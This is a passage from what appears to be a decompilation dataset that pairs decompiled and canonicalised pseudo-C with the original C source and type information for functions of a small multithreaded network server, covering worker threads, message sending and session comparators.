v6 = (pthread_t *)(v4 + threads);
v4 += 8LL;
pthread_create(v6, 0LL, (void *(*)(void *))run_job, v5);
}
while ( v4 != 8LL * a1 );
}
v7 = (void *)comm_context();
pthread_create((pthread_t *)(threads + v3 - 8), 0LL, process_response, v7);
}
return printf("Created %d worker threads \n", (unsigned int)a1);
}

canonical_decompiled_code:
int __fastcall func2(int a1)
{
size_t v3; // r13
__int64 v4; // rbx
void *v5; // rax
pthread_t *v6; // rdi
void *v7; // rax

if ( !threads )
{
v3 = 8LL * (a1 + 1);
threads = (__int64)malloc(v3);
if ( a1 > 0 )
{
v4 = 0LL;
do
{
v5 = (void *)comm_context();
v6 = (pthread_t *)(v4 + threads);
v4 += 8LL;
pthread_create(v6, 0LL, (void *(*)(void *))run_job, v5);
}
while ( v4 != 8LL * a1 );
}
v7 = (void *)comm_context();
pthread_create((pthread_t *)(threads + v3 - 8), 0LL, process_response, v7);
}
return printf("Created %d worker threads \n", (unsigned int)a1);
}

original_code:
void create_worker_threads(int thread_pool_size)
{
        int i;
        if (threads == ((void *)0)) {
                threads = (pthread_t *)malloc((thread_pool_size+1)*
                                              sizeof(pthread_t));
                for (i=0; i<thread_pool_size; i++) {
                        pthread_create(&threads[i], ((void *)0), run_job,
                                       (void *)comm_context());
                }
                pthread_create(&threads[thread_pool_size], ((void *)0),
                               process_response, (void *)comm_context());
                num_threads = thread_pool_size;
        }
        printf("Created %d worker threads \n", thread_pool_size);
}

canonical_original_code:
void create_worker_threads(int thread_pool_size)
{
        int i;
        if (threads == ((void *)0)) {
                threads = (unsigned long *)malloc((thread_pool_size+1)*
                                              sizeof(pthread_t));
                for (i=0; i<thread_pool_size; i++) {
                        pthread_create(&threads[i], ((void *)0), run_job,
                                       (void *)comm_context());
                }
                pthread_create(&threads[thread_pool_size], ((void *)0),
                               process_response, (void *)comm_context());
                num_threads = thread_pool_size;
        }
        printf("Created %d worker threads \n", thread_pool_size);
}

variable_types: i int


decompiled_code:
void shutdown_worker_threads()
{
;
}

canonical_decompiled_code:
void func3()
{
;
}

original_code:
void shutdown_worker_threads()
{
}

canonical_original_code:
void shutdown_worker_threads()
{
}


decompiled_code:
__int64 __fastcall write_message(const __m128i *a1)
{
__int64 v1; // rbp
unsigned int v2; // er12
__int16 v3; // bx
int v4; // edx
unsigned __int16 v5; // bx
char *v6; // rax
__m128i in; // [rsp+0h] [rbp-858h]
int v9[526]; // [rsp+20h] [rbp-838h] BYREF

v2 = a1->m128i_i32[0];
v3 = a1->m128i_i16[3];
qmemcpy(v9, &a1[130], 0x808uLL);
in = _mm_loadu_si128(a1);
v4 = v9[513];
if ( v9[513] > 0 )
{
v1 = (unsigned int)send(v2, &v9[1], v9[513], 0);
v5 = _bswap_16(v3);
v6 = inet_ntoa((struct in_addr)in.m128i_u64[1]);
printf("Sent a %d byte response to (%s,%d) on sock %d\n", v1, v6, v5, v2);
v4 = v9[513];
}
return (unsigned int)-((_DWORD)v1 != v4);
}

original_code:
int write_message(struct client_txn *job)
{
        struct session tmp;
        struct comm_message reply;
        int fd, sent_bytes;
        int len;
        tmp = job->client_session;
        reply = job->reply;
        fd = tmp.session_id;
        if (reply.length > 0) {
                sent_bytes = send(fd,reply.message,reply.length,0);
                printf("Sent a %d byte response to (%s,%d) on sock %d\n",
                       sent_bytes, inet_ntoa(tmp.client_info.client.sin_addr),
                       ntohs(tmp.client_info.client.sin_port), fd);
        }
        return -1 * (sent_bytes != reply.length);
}

canonical_original_code:
int write_message(struct client_txn *job)
{
        struct session tmp;
        struct comm_message reply;
        int fd; int sent_bytes;
        int len;
        tmp = job->client_session;
        reply = job->reply;
        fd = tmp.session_id;
        if (reply.length > 0) {
                sent_bytes = send(fd,reply.message,reply.length,0);
                printf("Sent a %d byte response to (%s,%d) on sock %d\n",
                       sent_bytes, inet_ntoa(tmp.client_info.client.sin_addr),
                       ntohs(tmp.client_info.client.sin_port), fd);
        }
        return -1 * (sent_bytes != reply.length);
}

variable_types: struct client_txn { struct session { int session_id; struct client_endpoint { struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr { unsigned int s_addr; } sin_addr; unsigned char sin_zero[-1]; } client; int fd; } client_info; } client_session; struct comm_message { int is_tcp_connect; char message[2048]; int length; } request; struct comm_message reply; } *

variable_types: fd int

variable_types: len int


decompiled_code:
void __fastcall __noreturn process_response(void *a1)
{
__m128i v2; // xmm0
__int64 v3; // rdi
__int64 v4; // rax
const __m128i *v5; // rax
__m128i *v6; // rbp
__m128i v7; // [rsp+0h] [rbp-38h] BYREF
__int64 v8; // [rsp+10h] [rbp-28h]

while ( 1 )
{
while ( 1 )
{
v5 = (const __m128i *)dequeue(*((_QWORD *)a1 + 5));
v6 = (__m128i *)v5;
if ( v5 )
break;
pthread_yield();
}
v2 = _mm_loadu_si128(v5);
v3 = *((_QWORD *)a1 + 3);
v4 = v5[1].m128i_i64[0];
v7 = v2;
v8 = v4;
if ( get_elem(v3, &v7, &session_comparator) )
{
if ( (unsigned int)write_message(v6) == -1 )
puts("Write message error");
}
free(v6);
}
}

canonical_decompiled_code:
void __fastcall __noreturn func5(void *a1)
{
__m128i v2; // xmm0
__int64 v3; // rdi
__int64 v4; // rax
const __m128i *v5; // rax
__m128i *v6; // rbp
__m128i v7; // [rsp+0h] [rbp-38h] BYREF
__int64 v8; // [rsp+10h] [rbp-28h]

while ( 1 )
{
while ( 1 )
{
v5 = (const __m128i *)dequeue(*((_QWORD *)a1 + 5));
v6 = (__m128i *)v5;
if ( v5 )
break;
pthread_yield();
}
v2 = _mm_loadu_si128(v5);
v3 = *((_QWORD *)a1 + 3);
v4 = v5[1].m128i_i64[0];
v7 = v2;
v8 = v4;
if ( get_elem(v3, &v7, &session_comparator) )
{
if ( (unsigned int)func4(v6) == -1 )
puts("Write message error");
}
free(v6);
}
}

original_code:
void *process_response(void *context)
{
        int write_result;
        struct comm_context *ctx = (struct comm_context *)context;
        struct client_txn *job;
        struct session client_session;
        while (1) {
                job = (struct client_txn *)dequeue(ctx->reply_jobs);
                if (job != ((void *)0)) {
                        client_session = job->client_session;
                        if (get_elem(ctx->sessions, &client_session,
                                     session_comparator) != ((void *)0)) {
                                write_result = write_message(job);
                                if (write_result == -1)
                                        printf("Write message error\n");
                        }
                        free(job);
                }
                else
                        pthread_yield();
        }
        return ctx;
}

variable_types: struct session { int session_id; struct client_endpoint { struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr { unsigned int s_addr; } sin_addr; unsigned char sin_zero[-1]; } client; int fd; } client_info; }

user_defined_types: struct comm_message { int is_tcp_connect; char message[2048]; int length; }


decompiled_code:
_BOOL8 __fastcall session_info_cmp(_DWORD *a1, _DWORD *a2)
{
return *a1 == *a2;
}

canonical_decompiled_code:
_BOOL8 __fastcall func0(_DWORD *a1, _DWORD *a2)
{
return *a1 == *a2;
}

original_code:
int session_info_cmp (void *id, void *session)
{
        int session_id = *(int *) id;
        int queue_elem_session_id =
                ((struct ndmp_session_info *)session)->session_id;
        return session_id == queue_elem_session_id;
}

canonical_original_code:
int session_info_cmp(void *id, void *session)
{
        int session_id = *(int *) id;
        int queue_elem_session_id = ((struct ndmp_session_info *)session)->session_id;
        return session_id == queue_elem_session_id;
}

variable_types:
id
void *

variable_types:
session
void *


decompiled_code:
_BOOL8 __fastcall job_cmp(__int64 a1, __int64 a2)
{
return a2 == a1;
}

canonical_decompiled_code:
_BOOL8 __fastcall func1(__int64 a1, __int64 a2)
{
return a2 == a1;
}

original_code:
int job_cmp(void *target, void *elem)
{
        return target == elem;
}


decompiled_code:
__int64 get_next_seq_number()
{
return (unsigned int)sequence_number_1++;
}

canonical_decompiled_code:
__int64 func2()
{
return (unsigned int)sequence_number_1++;
}

original_code:
int get_next_seq_number() {
        static int sequence_number = 1;
        return sequence_number++;
}